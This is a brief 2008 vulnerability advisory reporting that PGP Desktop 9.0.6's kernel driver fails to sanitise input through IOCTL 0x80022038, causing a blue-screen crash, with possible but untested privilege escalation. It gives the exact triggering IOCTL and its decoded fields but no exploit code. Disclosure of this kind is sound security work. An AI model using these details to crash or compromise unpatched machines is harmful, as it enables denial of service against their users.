Release Date: 23/12/2008
|
|
|
|
+-------------------------------------------------+
|
|
Product: PGP Desktop 9.0.6 [Build 6060] (other version could be affected)
|
|
Affected Component: PGPwded.sys
|
|
Category: Local Denial of Service (BSOD)
|
|
(untested) Local Privilege Escalation
|
|
+-------------------------------------------------+
|
|
|
|
|
|
|
|
--------------------------[Details]--------------->
|
|
|
|
PGP Desktop 's PGPweded.sys Driver does not sanitize user supplied input (IOCTL)
|
|
and this lead to a Driver Collapse that propagates on the system with a BSOD.
|
|
|
|
Affected IOCTL is 0x80022038
|
|
|
|
+-------------------------------------------------+
|
|
Device Type: Custom Device Type: 0x8002, 32770
|
|
Transfer Type: METHOD_BUFFERED (0x0, 0)
|
|
Access Type: FILE_ANY_ACCESS (0x0, 0)
|
|
Function Code: 0x80E, 2062
|
|
+-------------------------------------------------+
|
|
|
|
From Crash Dump Analysis we obtain a KERNEL_MODE_EXCEPTION_NOT_HANDLED (8e),
|
|
could also exists the possibility of a Local Privilege Escalation, but I've not
|
|
checked it =)
